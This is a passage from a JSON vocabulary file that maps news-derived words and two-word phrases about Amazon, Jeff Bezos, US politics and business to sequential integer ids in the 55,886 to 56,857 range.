super\": 55886,\n  \"nonprofit preschool\": 55887,\n  \"economic segment\": 55888,\n  \"sell faangs\": 55889,\n  \"droves\": 55890,\n  \"letters\": 55891,\n  \"asian markets\": 55892,\n  \"numbers look\": 55893,\n  \"lombardi cancer\": 55894,\n  \"wealth produced\": 55895,\n  \"theory began\": 55896,\n  \"criticism levelled\": 55897,\n  \"paint profit\": 55898,\n  \"amazon commission\": 55899,\n  \"biggest stories\": 55900,\n  \"blamed lordstown\": 55901,\n  \"happen precisely\": 55902,\n  \"mackenzie nbsp\": 55903,\n  \"actually need\": 55904,\n  \"873 million\": 55905,\n  \"oakworth cap\": 55906,\n  \"costs potentially\": 55907,\n  \"leading critic\": 55908,\n  \"style mailbox\": 55909,\n  \"systems open\": 55910,\n  \"directly clear\": 55911,\n  \"phasing\": 55912,\n  \"logistics comparing\": 55913,\n  \"quidsi eventually\": 55914,\n  \"ctc tax\": 55915,\n  \"tmall\": 55916,\n  \"duo\": 55917,\n  \"pursue cases\": 55918,\n  \"seattle capitol\": 55919,\n  \"unpacks\": 55920,\n  \"forrest\": 55921,\n  \"people understandably\": 55922,\n  \"canadian singer\": 55923,\n  \"outsiders mutate\": 55924,\n  \"deforestation work\": 55925,\n  \"progressive politics\": 55926,\n  \"devon tarby\": 55927,\n  \"view lot\": 55928,\n  \"consider bezos\": 55929,\n  \"partial nudity\": 55930,\n  \"competitive lines\": 55931,\n  \"max stier\": 55932,\n  \"stephen moore\": 55933,\n  \"taking look\": 55934,\n  \"james read\": 55935,\n  \"fops\": 55936,\n  \"fairy tales\": 55937,\n  \"shares increased\": 55938,\n  \"paris suburb\": 55939,\n  \"male gary\": 55940,\n  \"alaska natives\": 55941,\n  \"rain ingraham\": 55942,\n  \"unscripted tv\": 55943,\n  \"best price\": 55944,\n  \"helped shutter\": 55945,\n  \"husni\": 55946,\n  \"mccrae\": 55947,\n  \"960799\": 55948,\n  \"washington capitals\": 55949,\n  \"different platforms\": 55950,\n  \"affaire\": 55951,\n  \"overtime bezos\": 55952,\n  \"mental illnesses\": 55953,\n  \"period tonya\": 55954,\n  \"jobs autograph\": 55955,\n  \"andrea fazzari\": 55956,\n  \"public registration\": 55957,\n  \"auteurs\": 55958,\n  \"keeping amazon\": 55959,\n  \"ongoing economic\": 55960,\n  \"enquirer does\": 55961,\n  \"court reverses\": 55962,\n  \"tyra banks\": 55963,\n  \"katherine langford\": 55964,\n  \"gadsby\": 55965,\n  \"wars trump\": 55966,\n  \"1900s\": 55967,\n  \"good seattle\": 55968,\n  \"president abigail\": 55969,\n  \"great hindu\": 55970,\n  \"stalin chief\": 55971,\n  \"pre internet\": 55972,\n  \"abuzz\": 55973,\n  \"unsuccessful run\": 55974,\n  \"exempt status\": 55975,\n  \"designated pick\": 55976,\n  \"sanchez bezos\": 55977,\n  \"vital signs\": 55978,\n  \"eu suspected\": 55979,\n  \"commission invest\": 55980,\n  \"receded\": 55981,\n  \"country likewise\": 55982,\n  \"presidential paranoia\": 55983,\n  \"ryan jaselskis\": 55984,\n  \"empowerment yee\": 55985,\n  \"buybox experts\": 55986,\n  \"jodi picoult\": 55987,\n  \"humpty dumpty\": 55988,\n  \"possibilities floated\": 55989,\n  \"tech talents\": 55990,\n  \"decal deplorable\": 55991,\n  \"expansions natasha\": 55992,\n  \"outside\": 55993,\n  \"boring lego\": 55994,\n  \"mega hit\": 55995,\n  \"mcgonigal\": 55996,\n  \"amazon ambition\": 55997,\n  \"disrespected gayle\": 55998,\n  \"financial barrier\": 55999,\n  \"fulfill\": 56000,\n  \"governments require\": 56001,\n  \"john mclemore\": 56002,\n  \"away yes\": 56003,\n  \"shows smoke\": 56004,\n  \"donations \\u01424\": 56005,\n  \"payments google\": 56006,\n  \"statement amazon\": 56007,\n  \"commerce trade\": 56008,\n  \"jan rouven\": 56009,\n  \"dashboard source\": 56010,\n  \"shall meet\": 56011,\n  \"refugee caps\": 56012,\n  \"absolute profit\": 56013,\n  \"41st president\": 56014,\n  \"music scene\": 56015,\n  \"improvement driverless\": 56016,\n  \"teller department\": 56017,\n  \"measures include\": 56018,\n  \"lobbying firm\": 56019,\n  \"utilized portion\": 56020,\n  \"account potus\": 56021,\n  \"interviewwith cbs\": 56022,\n  \"knees\": 56023,\n  \"horizons\": 56024,\n  \"plus new\": 56025,\n  \"divorce cost\": 56026,\n  \"groove best\": 56027,\n  \"anti environmental\": 56028,\n  \"leading home\": 56029,\n  \"vegan tacos\": 56030,\n  \"discusses\": 56031,\n  \"world founder\": 56032,\n  \"longtime target\": 56033,\n  \"news nytimes\": 56034,\n  \"choate\": 56035,\n  \"jpg duration\": 56036,\n  \"kavanough\": 56037,\n  \"federal contract\": 56038,\n  \"fake new\": 56039,\n  \"copies fell\": 56040,\n  \"widely rumoured\": 56041,\n  \"doesn present\": 56042,\n  \"did defend\": 56043,\n  \"putting retailers\": 56044,\n  \"calling kavanaugh\": 56045,\n  \"phone instead\": 56046,\n  \"expect rebound\": 56047,\n  \"nextvideoid nextvideourl\": 56048,\n  \"data storage\": 56049,\n  \"convincing\": 56050,\n  \"etsy\": 56051,\n  \"insight today\": 56052,\n  \"admirers\": 56053,\n  \"curbelo\": 56054,\n  \"2019 fed\": 56055,\n  \"soul searching\": 56056,\n  \"republicans supported\": 56057,\n  \"goldman new\": 56058,\n  \"apps gizmodo\": 56059,\n  \"legal director\": 56060,\n  \"leading jeff\": 56061,\n  \"beast noted\": 56062,\n  \"technology available\": 56063,\n  \"unlikely year\": 56064,\n  \"post obtained\": 56065,\n  \"additional 267\": 56066,\n  \"isn expected\": 56067,\n  \"different animal\": 56068,\n  \"positive workplace\": 56069,\n  \"pelosi want\": 56070,\n  \"million lori\": 56071,\n  \"sailboats\": 56072,\n  \"trice\": 56073,\n  \"fraudulent\": 56074,\n  \"tcja\": 56075,\n  \"members want\": 56076,\n  \"year protester\": 56077,\n  \"agent stan\": 56078,\n  \"legislation creating\": 56079,\n  \"lon\": 56080,\n  \"expense going\": 56081,\n  \"forth\": 56082,\n  \"rated trump\": 56083,\n  \"talk recording\": 56084,\n  \"nyc true\": 56085,\n  \"community support\": 56086,\n  \"repressive\": 56087,\n  \"pitfalls\": 56088,\n  \"dictionary\": 56089,\n  \"career employees\": 56090,\n  \"whitefish resident\": 56091,\n  \"jon talton\": 56092,\n  \"preparing\": 56093,\n  \"corp fuel\": 56094,\n  \"leadership\": 56095,\n  \"kellyepperson\": 56096,\n  \"walsh file\": 56097,\n  \"expensive computers\": 56098,\n  \"stadium tribute\": 56099,\n  \"training provide\": 56100,\n  \"breaking taxi\": 56101,\n  \"russia analyzing\": 56102,\n  \"report concluding\": 56103,\n  \"meetings scheduled\": 56104,\n  \"kill michael\": 56105,\n  \"amazon outlined\": 56106,\n  \"suggestions explicitly\": 56107,\n  \"dystopian facial\": 56108,\n  \"year analysis\": 56109,\n  \"reagan says\": 56110,\n  \"loyalty\": 56111,\n  \"scheduled\": 56112,\n  \"hilton hotel\": 56113,\n  \"1modrbhhoanbrvskixwtgzuz0cwxvtijnzeiftlvzvuq ceptions\": 56114,\n  \"online opinion\": 56115,\n  \"reasons\": 56116,\n  \"acosta trump\": 56117,\n  \"wealth kavanaugh\": 56118,\n  \"shorrible begin\": 56119,\n  \"google ireland\": 56120,\n  \"amid tech\": 56121,\n  \"actually changing\": 56122,\n  \"gawande\": 56123,\n  \"fruitful series\": 56124,\n  \"amazon knocks\": 56125,\n  \"vucci evan\": 56126,\n  \"making massive\": 56127,\n  \"2020 election\": 56128,\n  \"previous government\": 56129,\n  \"half mile\": 56130,\n  \"fight sequences\": 56131,\n  \"large width\": 56132,\n  \"rounded\": 56133,\n  \"flexing\": 56134,\n  \"union warned\": 56135,\n  \"rejected chloe\": 56136,\n  \"lease agreement\": 56137,\n  \"media hatred\": 56138,\n  \"provide law\": 56139,\n  \"provides users\": 56140,\n  \"memo serves\": 56141,\n  \"minister jack\": 56142,\n  \"thing 2018\": 56143,\n  \"bigger homes\": 56144,\n  \"transylvania\": 56145,\n  \"trade data\": 56146,\n  \"drug distribution\": 56147,\n  \"stieg larsson\": 56148,\n  \"klj\": 56149,\n  \"tariff deadline\": 56150,\n  \"rome envoy\": 56151,\n  \"shutdown pay\": 56152,\n  \"isa rodrigo\": 56153,\n  \"pentagon defense\": 56154,\n  \"difficult 8211\": 56155,\n  \"sized amazon\": 56156,\n  \"administration mean\": 56157,\n  \"times goodman\": 56158,\n  \"forecast surprise\": 56159,\n  \"venues\": 56160,\n  \"current political\": 56161,\n  \"drago sap\": 56162,\n  \"purses\": 56163,\n  \"york billion\": 56164,\n  \"packages using\": 56165,\n  \"protesters chants\": 56166,\n  \"impressive level\": 56167,\n  \"migrants make\": 56168,\n  \"vox todd\": 56169,\n  \"hard left\": 56170,\n  \"100 migrants\": 56171,\n  \"sigh love\": 56172,\n  \"monetize\": 56173,\n  \"ads amazon\": 56174,\n  \"environmental norms\": 56175,\n  \"result cities\": 56176,\n  \"monroe pre\": 56177,\n  \"obnoxious politicians\": 56178,\n  \"divorcing photo\": 56179,\n  \"beauty loading\": 56180,\n  \"profitable today\": 56181,\n  \"unresponsive\": 56182,\n  \"szklarski\": 56183,\n  \"response el\": 56184,\n  \"truly profitable\": 56185,\n  \"semissourian article\": 56186,\n  \"demolish\": 56187,\n  \"szu wannabe\": 56188,\n  \"make people\": 56189,\n  \"democratic deputies\": 56190,\n  \"putin insistence\": 56191,\n  \"robot amazon\": 56192,\n  \"leaves twitter\": 56193,\n  \"general especially\": 56194,\n  \"companys\": 56195,\n  \"famed lawyer\": 56196,\n  \"shift newsletter\": 56197,\n  \"shares mathes\": 56198,\n  \"opportunity banking\": 56199,\n  \"great cost\": 56200,\n  \"blockchain based\": 56201,\n  \"collectively bargain\": 56202,\n  \"brilliant guy\": 56203,\n  \"regulate amazon\": 56204,\n  \"investigative work\": 56205,\n  \"tax reductions\": 56206,\n  \"incimages\": 56207,\n  \"shipping gross\": 56208,\n  \"pretty\": 56209,\n  \"seeing jeff\": 56210,\n  \"cdn ampproject\": 56211,\n  \"566\": 56212,\n  \"employee link\": 56213,\n  \"legal perils\": 56214,\n  \"policy action\": 56215,\n  \"personal small\": 56216,\n  \"tamblyn actress\": 56217,\n  \"encroachment\": 56218,\n  \"jeremy mohler\": 56219,\n  \"breakthrough\": 56220,\n  \"waxman\": 56221,\n  \"washington submit\": 56222,\n  \"closed holiday\": 56223,\n  \"spent day\": 56224,\n  \"emboldened left\": 56225,\n  \"hopes bring\": 56226,\n  \"stein\": 56227,\n  \"news halliburton\": 56228,\n  \"img_custom_credit\": 56229,\n  \"nuanced comedy\": 56230,\n  \"hill kim\": 56231,\n  \"gasparino\": 56232,\n  \"permanently shut\": 56233,\n  \"politico questions\": 56234,\n  \"nasdaq aapl\": 56235,\n  \"pentagon contract\": 56236,\n  \"rekognition scans\": 56237,\n  \"passed 2008\": 56238,\n  \"argues making\": 56239,\n  \"disgraceful\": 56240,\n  \"letters usps\": 56241,\n  \"wares delivering\": 56242,\n  \"named becky\": 56243,\n  \"classic stanley\": 56244,\n  \"outlay\": 56245,\n  \"defying analysts\": 56246,\n  \"authorize boost\": 56247,\n  \"tariffed\": 56248,\n  \"darr\": 56249,\n  \"amazon hires\": 56250,\n  \"companies following\": 56251,\n  \"shortlist\": 56252,\n  \"awkward\": 56253,\n  \"tucker professor\": 56254,\n  \"estate buddies\": 56255,\n  \"results revenue\": 56256,\n  \"sheri berman\": 56257,\n  \"cells democrat\": 56258,\n  \"trade concerns\": 56259,\n  \"sneaker brands\": 56260,\n  \"jussie smollett\": 56261,\n  \"today episode\": 56262,\n  \"msh\": 56263,\n  \"nasdaq poised\": 56264,\n  \"quantify\": 56265,\n  \"superbugs scientists\": 56266,\n  \"gmb union\": 56267,\n  \"pay billions\": 56268,\n  \"journalists publishers\": 56269,\n  \"national news\": 56270,\n  \"lampert lawsuit\": 56271,\n  \"patrick holland\": 56272,\n  \"honey\": 56273,\n  \"freedom means\": 56274,\n  \"gives banks\": 56275,\n  \"turn american\": 56276,\n  \"federal law\": 56277,\n  \"devonlive huge\": 56278,\n  \"doral florida\": 56279,\n  \"testimony answered\": 56280,\n  \"aggression01\": 56281,\n  \"proving utility\": 56282,\n  \"year vta\": 56283,\n  \"thomson buybox\": 56284,\n  \"denver expect\": 56285,\n  \"new satire\": 56286,\n  \"typical stock\": 56287,\n  \"surface high\": 56288,\n  \"play gift\": 56289,\n  \"fairly valued\": 56290,\n  \"soar financial\": 56291,\n  \"603\": 56292,\n  \"international media\": 56293,\n  \"face fresh\": 56294,\n  \"gmt great\": 56295,\n  \"democrats poll\": 56296,\n  \"marcus richard\": 56297,\n  \"site kim\": 56298,\n  \"night concert\": 56299,\n  \"trump dealings\": 56300,\n  \"oils\": 56301,\n  \"blend\": 56302,\n  \"smart stem\": 56303,\n  \"yalelawjournal org\": 56304,\n  \"wasn altogether\": 56305,\n  \"power production\": 56306,\n  \"restrictions financial\": 56307,\n  \"right president\": 56308,\n  \"general resisted\": 56309,\n  \"getting older\": 56310,\n  \"decode\": 56311,\n  \"place tl\": 56312,\n  \"far west\": 56313,\n  \"jones played\": 56314,\n  \"news pundit\": 56315,\n  \"includes principal\": 56316,\n  \"giants exploited\": 56317,\n  \"bureau report\": 56318,\n  \"foxconn trump\": 56319,\n  \"1987 book\": 56320,\n  \"stores supporters\": 56321,\n  \"897 000\": 56322,\n  \"diverse political\": 56323,\n  \"insistence\": 56324,\n  \"just enjoy\": 56325,\n  \"summit elon\": 56326,\n  \"averaged stars\": 56327,\n  \"knight\": 56328,\n  \"inflatable love\": 56329,\n  \"michael mandel\": 56330,\n  \"postmaster common\": 56331,\n  \"wife cutting\": 56332,\n  \"partner alphaone\": 56333,\n  \"build half\": 56334,\n  \"strike just\": 56335,\n  \"house campaign\": 56336,\n  \"consider cutting\": 56337,\n  \"335\": 56338,\n  \"total production\": 56339,\n  \"practice violence\": 56340,\n  \"urine test\": 56341,\n  \"nation largest\": 56342,\n  \"norahodonnell\": 56343,\n  \"influence bs_link\": 56344,\n  \"crisis wreaking\": 56345,\n  \"hugs\": 56346,\n  \"intentionally stifling\": 56347,\n  \"worst day\": 56348,\n  \"wilson wife\": 56349,\n  \"import engineers\": 56350,\n  \"spoon\": 56351,\n  \"comptemptext comp\": 56352,\n  \"called second\": 56353,\n  \"laws uniformly\": 56354,\n  \"clinton elected\": 56355,\n  \"included batteries\": 56356,\n  \"returns\": 56357,\n  \"schmidt famously\": 56358,\n  \"troubles california\": 56359,\n  \"amazon considering\": 56360,\n  \"214\": 56361,\n  \"today tiny\": 56362,\n  \"manager business\": 56363,\n  \"olivier douliery\": 56364,\n  \"unch otcm\": 56365,\n  \"greedy corporate\": 56366,\n  \"research michael\": 56367,\n  \"took trade\": 56368,\n  \"sack cartoon\": 56369,\n  \"enhance community\": 56370,\n  \"kacy grine\": 56371,\n  \"newspapers staffers\": 56372,\n  \"eats\": 56373,\n  \"veterans employment\": 56374,\n  \"police seize\": 56375,\n  \"sportscaster\": 56376,\n  \"policing\": 56377,\n  \"endorsed hillary\": 56378,\n  \"legal precedence\": 56379,\n  \"report suggesting\": 56380,\n  \"workshop attendees\": 56381,\n  \"ball wrote\": 56382,\n  \"company enjoying\": 56383,\n  \"murdered post\": 56384,\n  \"business areas\": 56385,\n  \"facebook operator\": 56386,\n  \"nothings want\": 56387,\n  \"page 2a\": 56388,\n  \"plight\": 56389,\n  \"says claims\": 56390,\n  \"general theme\": 56391,\n  \"peculiar goings\": 56392,\n  \"news megan\": 56393,\n  \"foods foto\": 56394,\n  \"prefer using\": 56395,\n  \"snc lavalin\": 56396,\n  \"steinmart\": 56397,\n  \"career development\": 56398,\n  \"kelly future\": 56399,\n  \"greece\": 56400,\n  \"strong gains\": 56401,\n  \"ipt nonprofit\": 56402,\n  \"heavy tech\": 56403,\n  \"costs businesses\": 56404,\n  \"investigating facebook\": 56405,\n  \"jr recently\": 56406,\n  \"amazingly positive\": 56407,\n  \"google investigation\": 56408,\n  \"economy fed\": 56409,\n  \"smile geekwire\": 56410,\n  \"began calling\": 56411,\n  \"thave\": 56412,\n  \"directors approves\": 56413,\n  \"slashed game\": 56414,\n  \"interesting tech\": 56415,\n  \"2018 funny\": 56416,\n  \"massive capital\": 56417,\n  \"billion market\": 56418,\n  \"enormous bargaining\": 56419,\n  \"roigfranzia says\": 56420,\n  \"wh suspicious\": 56421,\n  \"product showcase\": 56422,\n  \"companies discounted\": 56423,\n  \"hyping\": 56424,\n  \"gm lordstown\": 56425,\n  \"left loathes\": 56426,\n  \"amendment schiff\": 56427,\n  \"controversy severe\": 56428,\n  \"recent slowdown\": 56429,\n  \"upgrading\": 56430,\n  \"care service\": 56431,\n  \"brokerage app\": 56432,\n  \"movies\": 56433,\n  \"260 shares\": 56434,\n  \"budget delineating\": 56435,\n  \"credit getty\": 56436,\n  \"ssg\": 56437,\n  \"globally massive\": 56438,\n  \"days coverage\": 56439,\n  \"reduce service\": 56440,\n  \"data\": 56441,\n  \"andes storms\": 56442,\n  \"low single\": 56443,\n  \"employees wall\": 56444,\n  \"famously\\u0430receiving massive\": 56445,\n  \"air food\": 56446,\n  \"postage additionally\": 56447,\n  \"statement obtained\": 56448,\n  \"seller forums\": 56449,\n  \"israel make\": 56450,\n  \"gathering actors\": 56451,\n  \"news noted\": 56452,\n  \"wildfire southern\": 56453,\n  \"bananah\": 56454,\n  \"minimum amazon\": 56455,\n  \"decline brain\": 56456,\n  \"petty squabbling\": 56457,\n  \"posturing\": 56458,\n  \"department tweeted\": 56459,\n  \"refugee sanitation\": 56460,\n  \"services council\": 56461,\n  \"publication dramatically\": 56462,\n  \"stopped paying\": 56463,\n  \"bezos satanism\": 56464,\n  \"father 2018\": 56465,\n  \"haired 45th\": 56466,\n  \"lydia kiesling\": 56467,\n  \"goods usps\": 56468,\n  \"bass wyden\": 56469,\n  \"amazon target\": 56470,\n  \"official paint\": 56471,\n  \"geared\": 56472,\n  \"subscribe nov\": 56473,\n  \"tap guinness\": 56474,\n  \"release wait\": 56475,\n  \"movement published\": 56476,\n  \"street grow\": 56477,\n  \"harrisburg north\": 56478,\n  \"unsettling purgatory\": 56479,\n  \"city worker\": 56480,\n  \"premier partners\": 56481,\n  \"bezos raising\": 56482,\n  \"offer subsidy\": 56483,\n  \"trump hhs\": 56484,\n  \"shadowy industry\": 56485,\n  \"trust corporate\": 56486,\n  \"including electing\": 56487,\n  \"target ross\": 56488,\n  \"watchers\": 56489,\n  \"oman clarkston\": 56490,\n  \"pages abramson\": 56491,\n  \"anti constitutional\": 56492,\n  \"power lavrentiy\": 56493,\n  \"darla\": 56494,\n  \"picoult new\": 56495,\n  \"make point\": 56496,\n  \"wyomingnews\": 56497,\n  \"videotape griffeth\": 56498,\n  \"country alaska\": 56499,\n  \"shipping technology\": 56500,\n  \"family controlled\": 56501,\n  \"activist rev\": 56502,\n  \"thoughts\": 56503,\n  \"taxes prime\": 56504,\n  \"cells mit\": 56505,\n  \"jenner career\": 56506,\n  \"naturally people\": 56507,\n  \"reports postmaster\": 56508,\n  \"bellone\": 56509,\n  \"press larry\": 56510,\n  \"pecker ties\": 56511,\n  \"bullet national\": 56512,\n  \"following books\": 56513,\n  \"firings\": 56514,\n  \"congestion\": 56515,\n  \"ill letter\": 56516,\n  \"29b\": 56517,\n  \"begins writing\": 56518,\n  \"perez\": 56519,\n  \"magazine check\": 56520,\n  \"new factor\": 56521,\n  \"maven\": 56522,\n  \"focus away\": 56523,\n  \"happy days\": 56524,\n  \"innovators\": 56525,\n  \"wapo congressional\": 56526,\n  \"fashion lines\": 56527,\n  \"house calling\": 56528,\n  \"ilana\": 56529,\n  \"sent 590\": 56530,\n  \"questio\": 56531,\n  \"questionable redactions\": 56532,\n  \"anti vaccine\": 56533,\n  \"investors jittery\": 56534,\n  \"123 jeff\": 56535,\n  \"praying\": 56536,\n  \"slowest shopping\": 56537,\n  \"robbing\": 56538,\n  \"958 drones\": 56539,\n  \"platforms antitrust\": 56540,\n  \"null inline_script_tags\": 56541,\n  \"comcast previously\": 56542,\n  \"wired magazine\": 56543,\n  \"impossible production\": 56544,\n  \"illegitimate access\": 56545,\n  \"graphics card\": 56546,\n  \"told apple\": 56547,\n  \"company 100\": 56548,\n  \"governmentwide commerce\": 56549,\n  \"grips\": 56550,\n  \"services customers\": 56551,\n  \"movements occlusion\": 56552,\n  \"donate money\": 56553,\n  \"local furor\": 56554,\n  \"mind omarosa\": 56555,\n  \"jefferies\": 56556,\n  \"unseat republicans\": 56557,\n  \"wins million\": 56558,\n  \"beth williams\": 56559,\n  \"lower refugee\": 56560,\n  \"disclosures brad\": 56561,\n  \"think happens\": 56562,\n  \"deal costs\": 56563,\n  \"credits lifted\": 56564,\n  \"sexually salacious\": 56565,\n  \"necessarily predict\": 56566,\n  \"126 million\": 56567,\n  \"help deliver\": 56568,\n  \"spokesman proclaiming\": 56569,\n  \"740 billion\": 56570,\n  \"livestream\": 56571,\n  \"national borders\": 56572,\n  \"post earlier\": 56573,\n  \"rolled cart\": 56574,\n  \"weeks away\": 56575,\n  \"leonid bershidsky\": 56576,\n  \"padres leading\": 56577,\n  \"contractor agreement\": 56578,\n  \"don observe\": 56579,\n  \"levels produce\": 56580,\n  \"cheaper alternatives\": 56581,\n  \"receive generous\": 56582,\n  \"residential neighborhoods\": 56583,\n  \"170 bought\": 56584,\n  \"warrant recusal\": 56585,\n  \"company judge\": 56586,\n  \"make takedown\": 56587,\n  \"ostroy\": 56588,\n  \"public distaste\": 56589,\n  \"dislikes amazon\": 56590,\n  \"learn advanced\": 56591,\n  \"targeting cities\": 56592,\n  \"body slammed\": 56593,\n  \"telling constituents\": 56594,\n  \"recent development\": 56595,\n  \"business reich\": 56596,\n  \"tripadvisor european\": 56597,\n  \"propaganda channel\": 56598,\n  \"anisha sood\": 56599,\n  \"decade devoid\": 56600,\n  \"decade following\": 56601,\n  \"newspaper super\": 56602,\n  \"kind investors\": 56603,\n  \"producer comment\": 56604,\n  \"toad treasure\": 56605,\n  \"fine point\": 56606,\n  \"certain trade\": 56607,\n  \"data shows\": 56608,\n  \"books title\": 56609,\n  \"bi prime\": 56610,\n  \"shells\": 56611,\n  \"instigating\": 56612,\n  \"disempowering\": 56613,\n  \"company leadership\": 56614,\n  \"ones little\": 56615,\n  \"amazon govpredict\": 56616,\n  \"scout tufankjian\": 56617,\n  \"w4 object\": 56618,\n  \"bombshell blog\": 56619,\n  \"investors react\": 56620,\n  \"spurred republicans\": 56621,\n  \"national examiner\": 56622,\n  \"yummy cheese\": 56623,\n  \"reported google\": 56624,\n  \"land desirable\": 56625,\n  \"unionized members\": 56626,\n  \"oppose special\": 56627,\n  \"cbsnews bezos\": 56628,\n  \"ordo\\u00f1ez white\": 56629,\n  \"sexual sleaze\": 56630,\n  \"land weaving\": 56631,\n  \"competitive practices\": 56632,\n  \"budget italy\": 56633,\n  \"center resistance\": 56634,\n  \"with\\u0430proceeds\": 56635,\n  \"hires bounty\": 56636,\n  \"sales involve\": 56637,\n  \"wasson amazon\": 56638,\n  \"displeased\": 56639,\n  \"jay carafano\": 56640,\n  \"trinidad\": 56641,\n  \"lead developer\": 56642,\n  \"agile methodologies\": 56643,\n  \"mchugh writes\": 56644,\n  \"distribution bootleg\": 56645,\n  \"urges latin\": 56646,\n  \"lady justice\": 56647,\n  \"usatoday\": 56648,\n  \"announcing tons\": 56649,\n  \"report desney\": 56650,\n  \"professional\": 56651,\n  \"helps ice\": 56652,\n  \"new actions\": 56653,\n  \"soon rely\": 56654,\n  \"o2x h0\": 56655,\n  \"provide significant\": 56656,\n  \"winning control\": 56657,\n  \"father donald\": 56658,\n  \"moya\": 56659,\n  \"000 factory\": 56660,\n  \"necessitate increased\": 56661,\n  \"similar services\": 56662,\n  \"cjr chief\": 56663,\n  \"scenery\": 56664,\n  \"rip aretha\": 56665,\n  \"nyse cat\": 56666,\n  \"meaningful self\": 56667,\n  \"libel laws\": 56668,\n  \"heal\": 56669,\n  \"news donald\": 56670,\n  \"fell alphabet\": 56671,\n  \"kareem growing\": 56672,\n  \"truthout\": 56673,\n  \"openmic org\": 56674,\n  \"nightmare\": 56675,\n  \"traditional hardware\": 56676,\n  \"wb ab\": 56677,\n  \"company resulted\": 56678,\n  \"repeated meetings\": 56679,\n  \"desperate pivot\": 56680,\n  \"1527845402 mirroring\": 56681,\n  \"job creator\": 56682,\n  \"meaningful profits\": 56683,\n  \"schools\": 56684,\n  \"amazon protections\": 56685,\n  \"repeal google\": 56686,\n  \"solid fundamental\": 56687,\n  \"truck amazon\": 56688,\n  \"union fined\": 56689,\n  \"begins dating\": 56690,\n  \"music service\": 56691,\n  \"americas quarterly\": 56692,\n  \"craft history\": 56693,\n  \"waters provided\": 56694,\n  \"ensure low\": 56695,\n  \"just wealthy\": 56696,\n  \"reminds people\": 56697,\n  \"katharine briggs\": 56698,\n  \"inner\": 56699,\n  \"larger issue\": 56700,\n  \"aut_imgid\": 56701,\n  \"garth ennis\": 56702,\n  \"2019 usps\": 56703,\n  \"company unprovoked\": 56704,\n  \"religions\": 56705,\n  \"ayanna\": 56706,\n  \"beach house\": 56707,\n  \"throes\": 56708,\n  \"day ends\": 56709,\n  \"solemn goodbye\": 56710,\n  \"verge trumpland\": 56711,\n  \"practice profession\": 56712,\n  \"vilify big\": 56713,\n  \"bit beyonce\": 56714,\n  \"deliberate steps\": 56715,\n  \"showing life\": 56716,\n  \"vied\": 56717,\n  \"agreement catch\": 56718,\n  \"greer kids\": 56719,\n  \"dominoes\": 56720,\n  \"state run\": 56721,\n  \"company profile\": 56722,\n  \"market peak\": 56723,\n  \"washington residence\": 56724,\n  \"tariffs according\": 56725,\n  \"cool heating\": 56726,\n  \"thebook\": 56727,\n  \"crowdfund\": 56728,\n  \"prompted fbi\": 56729,\n  \"solid annual\": 56730,\n  \"cloud players\": 56731,\n  \"subreddit\": 56732,\n  \"tilt emerged\": 56733,\n  \"negative experiences\": 56734,\n  \"center north\": 56735,\n  \"stifle ones\": 56736,\n  \"regions\": 56737,\n  \"yvonne kim\": 56738,\n  \"card association\": 56739,\n  \"ongoing california\": 56740,\n  \"cdc report\": 56741,\n  \"racist ideologies\": 56742,\n  \"retailer ceo\": 56743,\n  \"legal pot\": 56744,\n  \"brashear\": 56745,\n  \"unilaterally impose\": 56746,\n  \"supporter michael\": 56747,\n  \"best people\": 56748,\n  \"away security\": 56749,\n  \"333b spending\": 56750,\n  \"affectionate respect\": 56751,\n  \"talks trade\": 56752,\n  \"jolley decided\": 56753,\n  \"death certificates\": 56754,\n  \"times democrats\": 56755,\n  \"paid 957\": 56756,\n  \"easy payments\": 56757,\n  \"friendship\": 56758,\n  \"clairevoyant stars\": 56759,\n  \"winkler\": 56760,\n  \"considering uk\": 56761,\n  \"reaching general\": 56762,\n  \"investigation fox\": 56763,\n  \"talks putin\": 56764,\n  \"answer isn\": 56765,\n  \"asian country\": 56766,\n  \"gutter low\": 56767,\n  \"category capturing\": 56768,\n  \"brian lehrer\": 56769,\n  \"old lawsuit\": 56770,\n  \"fastidious layer\": 56771,\n  \"niobium\": 56772,\n  \"foreign origin\": 56773,\n  \"amazon sudden\": 56774,\n  \"foreign agent\": 56775,\n  \"errol\": 56776,\n  \"california took\": 56777,\n  \"graham spiritual\": 56778,\n  \"medicaid food\": 56779,\n  \"trump exhibits\": 56780,\n  \"insurance fuel\": 56781,\n  \"chromecast xbox\": 56782,\n  \"marjon van\": 56783,\n  \"undermine competition\": 56784,\n  \"citythe council\": 56785,\n  \"registration enter\": 56786,\n  \"ebay charge\": 56787,\n  \"customer data\": 56788,\n  \"apparent efforts\": 56789,\n  \"strong indicator\": 56790,\n  \"pressley\": 56791,\n  \"pizza dpz\": 56792,\n  \"bezos rejected\": 56793,\n  \"km\\u00b2\": 56794,\n  \"held later\": 56795,\n  \"cohens\": 56796,\n  \"saw personal\": 56797,\n  \"language series\": 56798,\n  \"happens virtually\": 56799,\n  \"receive reply\": 56800,\n  \"dee ann\": 56801,\n  \"closers\": 56802,\n  \"delivers remarks\": 56803,\n  \"level banks\": 56804,\n  \"bloomberg sweden\": 56805,\n  \"ehx3z5cmxb\": 56806,\n  \"values proud\": 56807,\n  \"america workers\": 56808,\n  \"currently accounts\": 56809,\n  \"visit business\": 56810,\n  \"launch nationwide\": 56811,\n  \"free smart\": 56812,\n  \"twitter year\": 56813,\n  \"latest afghanistan\": 56814,\n  \"significant slowdown\": 56815,\n  \"factors working\": 56816,\n  \"day business\": 56817,\n  \"perkins caufield\": 56818,\n  \"ecl smithbridge\": 56819,\n  \"series alex\": 56820,\n  \"john king\": 56821,\n  \"order lumber\": 56822,\n  \"amazon choose\": 56823,\n  \"amazon key\": 56824,\n  \"beyer va\": 56825,\n  \"annually looms\": 56826,\n  \"ore cory\": 56827,\n  \"politically motivated\": 56828,\n  \"sail\": 56829,\n  \"rivet home\": 56830,\n  \"tour promoting\": 56831,\n  \"pharmacy benefit\": 56832,\n  \"getting online\": 56833,\n  \"position near\": 56834,\n  \"left anti\": 56835,\n  \"hot demand\": 56836,\n  \"americans want\": 56837,\n  \"magine\": 56838,\n  \"kambouris hide\": 56839,\n  \"bipartisan\": 56840,\n  \"employ 100\": 56841,\n  \"chapters\": 56842,\n  \"living computers\": 56843,\n  \"scandal jeff\": 56844,\n  \"characteristics including\": 56845,\n  \"insider dennis\": 56846,\n  \"rosemary\": 56847,\n  \"presidency fighting\": 56848,\n  \"gunningham\": 56849,\n  \"extortion tactics\": 56850,\n  \"program rolling\": 56851,\n  \"just think\": 56852,\n  \"taran killam\": 56853,\n  \"juicy gossip\": 56854,\n  \"ricardel kelly\": 56855,\n  \"swanky\": 56856,\n  \"employees rallying\": 56857,\n  